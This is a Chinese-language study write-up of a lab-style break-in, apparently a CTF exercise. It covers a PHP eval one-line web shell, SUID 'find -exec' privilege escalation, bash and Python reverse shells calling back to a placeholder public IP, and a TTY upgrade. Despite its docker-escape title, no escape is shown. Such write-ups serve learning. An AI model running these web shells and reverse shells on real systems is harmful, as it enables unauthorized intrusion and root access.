简单dockers逃逸学习

1. 目标界面

搞半天，没进去。。。。

经过提示，了解到了一句话执行的原理，

1	<?php @eval($_POST["cmd"]);?>

一句话在每次执行时，接收变量cmd传进去的参数 cmd=phpinfo(); 使用eval函数执行 phpinfo(); 命令。

了解后就是猜参数名的过程。

2. 提权

连上shell后， whoami 查看为www-data权限，

通过uname -a 和 cat /etc/*-release 查看内核版本，没有提权exp

利用可执行文件SUID

通过命令查看

1	find / -user root -perm -4000 -print 2>/dev/null

1 2	touch suid # 也可以不用创建，只要查找的文件真实存在即可 find suid -exec whoami \;

3. 反弹shell ，以及获取完全交互式shell

公网nc 监听端口

bash 反弹

1	bash -i >& /dev/tcp/公网ip/端口 0>&1

失败。。。

使用 python 反弹shell 到公网

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("公网ip",监听的端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-p"]);'

保存为shll.sh ,之后执行

到这里，反弹来的shell还有些问题：

一些命令如su和ssh，需要一个正确的终端才能运行
通常不显示STDERR
无法正常使用vim等文本编辑器
没有完成标签
没有向上箭头使用历史

没有jobcontrol等

接下来使用python获取完全交互式shell

# 接下来在公网的机器上执行
$ python -c "import pty; pty.spawn(['/bin/bash','-p'])"
# 启用python交互式
# 把它丢到后台挂起
$ ctrl + z   
# 重置stty，也就意味着你看不到输入的内容
$ stty raw -echo  
# 把后台挂起的程序调回前台 ，命令不显示
$ fg  
# 完全刷新终端屏幕
$ 回车 ，再回车 两次
$ reset  
$ ctrl + c
# 接下来设置环境变量，根据第一步得到的环境变量来设置
$ export SHELL=bash